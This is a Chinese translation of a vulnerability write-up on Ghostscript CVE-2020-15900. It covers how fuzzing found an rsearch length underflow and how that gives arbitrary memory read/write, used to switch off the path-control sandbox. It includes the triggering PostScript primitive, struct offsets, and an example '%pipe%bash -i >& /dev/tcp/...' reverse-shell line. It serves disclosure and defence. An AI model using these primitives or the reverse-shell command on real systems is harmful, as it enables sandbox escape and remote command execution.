本文是翻译文章,原作者 Tim Goddard
原文地址:https://insomniasec.com/blog/ghostscript-cve-2020-15900
译文仅作参考,具体内容表达请见原文
Insomnia安全团队发现在Ghostscript引擎中使用某个非标准的Postscript运算符可能会导致缓冲区长度计算错误,该计算错误引发的漏洞允许攻击者创建与其它内存结构存在交互且大小为4GB左右“字符串类型”的引用。该非标准运算符在Ghostscript v9.50被引入,且存在于官方最新的v9.52版本。通过对该特殊引用进行读写,可以直接操纵堆内容,从而可以对内存进行任意读写。在仅读写数据内存即不注入shellcode的前提下,该漏洞可以用来稳定地关闭Ghostscript引擎的沙箱机制,也能通过执行某些Postscript函数来实现任意文件读写,以及在使用Ghostscript的场景(例如Linux或若干Windows环境)中执行系统命令。同时也可以使用常见的内存破坏技术来进行其它角度的漏洞利用。
Ghostscript是Artifex软件公司开发的用来处理Postscript和PDF的内容渲染引擎,用于将PDF和Postscript脚本转换为图像以进行预览、缩略图与打印等操作。由于其是功能完整且唯一开源的Postscript渲染引擎,因此其有一定的用户量。它还可用于多种PDF查看器(包括Android上的流行查看器)的高质量内容呈现,并已获得Google等多家大型公司的许可,且可应用于云计算服务场景。
Postscript语言在1982年~1984年期间由Adobe公司
开发,其能实现复杂的逻辑运算,包含一门高级语言的所有底层特性且具有相对简洁的运行环境,一般情况下可由打印机设备或其它低端设备直接解释运行。Postscript采用基于堆栈的语言形式,所有的数据存入或取出时,只能在浮动的一端(称为栈顶)进行,严格按照“先进后出”的原则存取,位于其中间的元素,必须在其栈上部(后进栈者)诸元素逐个移出后才能取出。添加数字1和数字2的Postscript代码示例如下:
要绘制一个圆,可以使用以下代码:
100 500 100 0 360 arc closepath stroke
这将定义一个从0到360度的“弧”,原点坐标为(100,500),半径为100,创建一个闭合路径对象,然后绘制该对象:
Postscript语言规范包含所有标准的数学运算、循环结构以及绘图操作。通过面向对象的设计模式,可以提高代码的复用率。还可以根据输出设备的功能以多种比例和分辨率来生成目标文件。Ghostscript引擎可以用来当作Posctscript解释器,其实现了Adobe
规范,并提供了许多标准和非标准的运算符。
由于Ghostscript包含大量功能,因此当输入的Postscript代码来源不可信时,会产生多种风险,特别是%pipe%
该指令可配合执行任意操作系统命令(例如%pipe%id、%pipe%bash -i >& /dev/tcp/****.com/443 0>&1
),并且外部文件可以作为可信Postscript代码输出的一部分进行读写。为防止这类漏洞被利用,在存在--SAFER
该默认选项时,Ghostscript会启用沙箱机制,并全面覆盖Postscript语法的解析过程,通过丢弃所有危险操作或强制检查这些操作的解析程序是否在--SAFER
模式下运行以实现沙箱功能。Tavis Ormandy在2018年就以多种方式绕过了这一机制,特别是围绕Postscript操作以保存或恢复以前的状态。针对这些问题,Artifex实施了一种称为路径控制沙箱
的新型沙箱机制。这样可以将文件的读写操作锁定在指定的目录列表中,并禁止命令执行。该新型沙箱存在于解析器编译过程中,而不存在于待解析的Postscript代码中,因此不受Postscript保存或恢复状态的影响。该沙箱启用后,它将覆盖在解析程序的整个生命周期(这也算是一个最低标准)。
早期,我们发现自身正在使用Ghostscript引擎,其用于Postscript代码与图像之间的转换。虽然它还未支持PDF与图像之间的转换,但它接受并转换Postscript代码这一点就已足够强大。我们知道Ghostscript具有一系列沙箱逃逸漏洞,但其利用方面的内容很少,我们决定用American Fuzzy Lop(一个模糊测试工具,简称AFL)模拟文件输入来进行模糊测试。我估计有很多人在和我们做同样的工作,不过我们有一台16核心的服务器以及足够的时间,这至少可以让我们知道该攻击面(沙箱逃逸)是否仍像以往一样广泛存在,我们所做的唯一与众不同的就是在Ghostscript项目源代码上进行模式搜索以查找所有运算符(例如 add 、sub、search等等)的名称,并将这些运算符作为字典输入。
AFL的工作原理是通过枚举所提供的输入直到执行新的代码片段。Postscript的输入模拟不太适用这种方法,因为Postscript实际上并没有特殊的命令名称或关键字,并且所有系统命令都是在一个“字典”对象(哈希表)中进行查找的。因此,通过跟踪代码路径并不容易发现这些命令名称或关键字。将它们提供给AFL作为输入,这是字典目录中其自己文件中的每个命令,允许它一次插入整个单词,而不是逐个字母地进行查找,理论上这样做收效应该不错。
但基于目前的收效来看,成绩确实不错,在几个小时内,AFL在一个特定的运算符rsearch
周围触发了一系列崩溃。在每种崩溃场景下,Postscript代码都包含一个类似的表达式,例如() dup rsearch
然后后面跟一些其他的代码片段,整个语句最终产生崩溃,因为它尝试访问无效的内存地址也就是引发了段错误。
这从源代码层面影响了一个普通的编译版本,但是有趣的是并没有影响到我的操作系统上所安装的版本。后来发现,这是由于Postscript引入该运算符的时间导致的,该运算符是相对较新引入的功能,因此仅影响每个操作系统的Ghostscript最新功能版本,以及那些直接从Aetiex官方渠道获得程序包的用户群体。
Postscript中的search
运算符用来在另一段文本中查找一段文本(字符串),返回值为匹配项之前的位,匹配项,匹配项之后的位以及一个说明其是否匹配的标志。rsearch
运算符于去年在Ghostscript中作为非标准运算符被创建,用于添加反向搜索,用来查找某对象的最后一个匹配项。
AFL给出的存在异常的代码内容大意为:将一个空字符串(也就是()
)压入堆栈,复制对其的引用,从而导致堆栈上有两个空字符串(也就是() ()
),然后执行反向搜索。也就是说,整个操作过程是从末尾开始在空字符串中寻找空字符串。
research
运算符触发崩溃的是因为解析程序没有检查搜索空字符串时堆栈的边界情况,当其程序搜索一个空字符串时,被逻辑运算为永真(也就是没有什么可查找的,立即成功),所以我们直接跳到最后。但是返回结果需要分为“匹配前的值”、“匹配值”和“匹配后的值”。假设代码我们至少运行了一次,并通过从0减去1错误地计算了“匹配后的值”的长度,导致循环到最大值-4294967295
。
该错误绝对算一个相对高级的内存损坏缺陷。因其无需应对堆栈防护措施,后续利用只需将你想要的任何内容读取或写入对应内存即可。其利用成本相对较低。由于其为下溢(指当一个超长的数据进入到缓冲区时,超出部分被写入下级缓冲区,下级缓冲区存放的是下一条指令的指针,或者是其他程序的输出内容),该字符串从未分配过,并且不占用堆上的实际空间,但是其长度可以扩展到其他堆内存中。尝试以随机地址读取或写入该内存的操作行不通因其超出内存范围,因此所有崩溃都将模糊不清无法追踪。但是,我们可以使用如下代码段来存储该引用:
/memptr () dup rsearch pop pop pop def
该引用的使用方式比较可控,其允许对一大块堆内存进行任意的逐字节读写。Postscript中的字符串的行为类似于一个字节数组(列表)。它从一个未知的地方开始,并允许我们从该起点偏移读取。
要读取偏移量为123的字节,其对应操作如下:
要在偏移量为123处的字节写入0,其对应操作如下:
这为我们提供了在获得指针之后读写任意内存所需的所有控制方法。
虽然上述的发现过程有点意思,但是这个错误目前仅能帮助我们影响到固定的内存地址。虽然这些地址中可能涵盖堆的大部分内容不过不一定是重要的数据。例如Global interpreter state(此处译为了Postscript全局解释器状态,毕竟它是一门解释性语言),可能会出现在该固定内存地址之前或其它任何未知位置。为了打破这个限制并控制完整内存,我们实现对象引用以作为字符串的底层内存表示进行交互控制。
跟大多数语言相同,Postscript不会在每次传递数据结构时都复制它们。如果我们定义一个字符串然后复制它,解析器不会复制整个原始数据,demo如下:
相反,经过dup
运算符后我们最终会得到对同一字符串的两个引用。如果我们改变一个,例如对其写一个字节,这将也会改变另一个引用所对应的值:
(This is a test!) % 创建一个字符串 dup % 复制该字符串获得一个副本 14 63 put % 修改该副本 = % 打印出原始字符串记录
上面的代码将更改一个字符串,然后打印相对应的副本,会显示显示消息“This is a test?”。堆栈实际上是Ghostscript库中C代码中的引用类型`ref_t
的列表。1 、 2 、 3 等数字直接存储在引用对象中并按值传递 (即不能从其它地方更改),而字符串、数组和字典等对象存储为引用。
所有平台上的ref_t
对象均占用 128 位。若该对象只读,其由两部分64位的数据组成:
要获得我的交互对象和对应的引用,思路如下:
ref_t
与该数字匹配的结构。ref_t
在内存中的表示形式相对应的 字符串部分。更改ref_t
变量基础上的原始对象的能力可以改变游戏规则。通过将其设置为长度合理的字符串类型,然后在内存中的任何位置设置其地址,我们可以读取/写入所指向的结构。通过将任何对象写入变量,我们可以读出实际数据在内存中的地址。
一般情况下我们碰到内存损坏漏洞时都会考虑注入一些shellcode或ROP链到内存中,来修改一些指针地址使其执行我们的恶意代码。但是,现代操作系统保护措施,如ASLR,DEP,堆栈保护器等使得这些在实战利用中变得比较困难。我暂时决定先以一种较为简单的方式来进行漏洞利用!
我的思路如下:
Postscript语言功能齐全,能够执行任意系统命令、读写文件以及我们想要的所有功能,这些功能由内存中的某个标志来表示。该平台以前的错误集中在禁用较早版本的沙箱作为目标,尽管沙箱的位置已移动,但将其作为最终目标还是有意义的。我们只需要找到该字节。
确定好思路后,切入点就是启动沙箱
的代码点。由于Ghostscript是开源的,因此可以在其项目地址中找到相关代码。文档显示它已通过 .activatepathcontrol
运算符打开,搜索显示该运算符已在如下第958行处注册:
//https://github.com/ArtifexSoftware/ghostpdl/blob/ghostscript-9.52/psi/zfile.c#L958 {"0.activatepathcontrol", zactivatepathcontrol},
可以在这里找到实现此功能的函数zactivatepathcontrol()
:
//https://github.com/ArtifexSoftware/ghostpdl/blob/ghostscript-9.52/psi/zfile.c#L920 //详情如下 static int zactivatepathcontrol(i_ctx_t *i_ctx_p) { gs_activate_path_control(imemory, 1); return 0; }
从上得知只是调用了gs_activate_path_control()
函数:
//https://github.com/ArtifexSoftware/ghostpdl/blob/ghostscript-9.52/base/gslibctx.c#L912 //详情如下 void gs_activate_path_control(gs_memory_t *mem, int enable) { gs_lib_ctx_core_t *core; if (mem == NULL || mem->gs_lib_ctx == NULL || (core = mem->gs_lib_ctx->core) == NULL) return; core->path_control_active = enable; }
该函数从一个gs_memory_t
对象开始,从该对象中检索gs_lib_ctx
字段,从该字段检索core
字段,然后将其中的path_control_active
值设置为1。因此,如果我们得到一个gs_memory_t
对象,我们可以按照相同的过程来进行操作,写入一个0以取消设置标志。
在查看了许多不同的Postscript数据类型之后,我发现字典
类型中引用了内存memory
字段,如下:
//https://github.com/ArtifexSoftware/ghostpdl/blob/ghostscript-9.52/psi/idict.h#L32 //详情如下 struct dict_s { ref values; /* t_array, values */ ref keys; /* t_shortarray or t_array, keys */ ref count; /* t_integer, count of occupied entries */ /* (length) */ ref maxlength; /* t_integer, maxlength as seen by client. */ ref memory; /* foreign t_struct, the allocator that */ /* created this dictionary */ #define dict_memory(pdict) r_ptr(&(pdict)->memory, gs_ref_memory_t) #define dict_mem(pdict) r_ptr(&(pdict)->memory, gs_memory_t) };
事实证明,字典类型可以引用内存分配器gs_memory_t
,初步推测如此,这样做以便在添加更多键的情况下,字典可以使用它来分配更多内存以对自身进行扩展。整个字典结构由一系列ref_t
结构组成,指向进一步的记录。
通过将系统字典写入变量中,其地址将存储在基础变量ref_t
结构中。然后,我们将此引用更改为长度合理的字符串,并通过读取该字符串可以从字典结构中来提取指针。由于ref_t
结构在所有系系统架构、编译器和操作平台上的大小都是固定的,并且字段通常按顺序进行存储,因此第五个ref_t
引用的后半部分的偏移量应始终是16个字节 (128 位) 加上 8 个字节 (64 位) 的四倍再减去72个字节以获得正确的偏移量。计算出偏移量之后,我们就可以创建一个指向它的字符串引用,复制出指针,然后将它们写回到我们的ref_t
引用中,以跟随指针到达下一个结构。
当我们编译Ghostscript项目(其用C编写)时,对应的编译器根据其某种约定决定如何在内存中布置数据结构,该约定因架构和平台的不同所实施的规则也不同。然后,这些容易被识别的标识 (如 “core”) 都被转换为数据结构中的一个偏移量,例如80,可以直接在编译的代码中使用。
提取字段的每一步都要求我们知道特定字段在结构中的偏移量。这在不同的体系结构之间有所不同,并且我们正在测试不同的版本,没有设置编译器,因此需要从二进制文件中提取。为此,我们通过Ghidra
反编译了官方库版本(在本例中为gsdll64.dll
),找到了该gs_activate_path_control()
函数,该函数是包装器调用的唯一函数,并导出为API的一部分,并按顺序拉出要添加到指针的偏移量,在本例中为0xd0
,8
和0x88
:
上述操作的最终成果是关闭了Ghostscript引擎的沙箱功能,之后我们可以继续寻找命令执行和文件读写的利用方法。
尽管沙箱功能正在逐步完善,但Postscript渲染过程仍然存在很大的攻击面,并且我认为在完全不受信任的输入(例如外部文件)前提下运行Ghostscript非常危险。通过简单的模糊测试,我们在几天内从一个简单的模糊运行中发现了大量未分类的崩溃,尽管报告的是我们知道唯一可以利用的崩溃。如果你工作中存在这类使用场景,不要认为开启沙箱就足够安全,建议使用进一步的隔离措施,例如在低特权用户帐户下运行程序或使用应用沙箱,甚至让其在独立的主机上运行。同时也不要认为这样的项目是公开的,就认为它们进行过全面的代码审计已修复过一些浅显的问题,这些想法比较天真。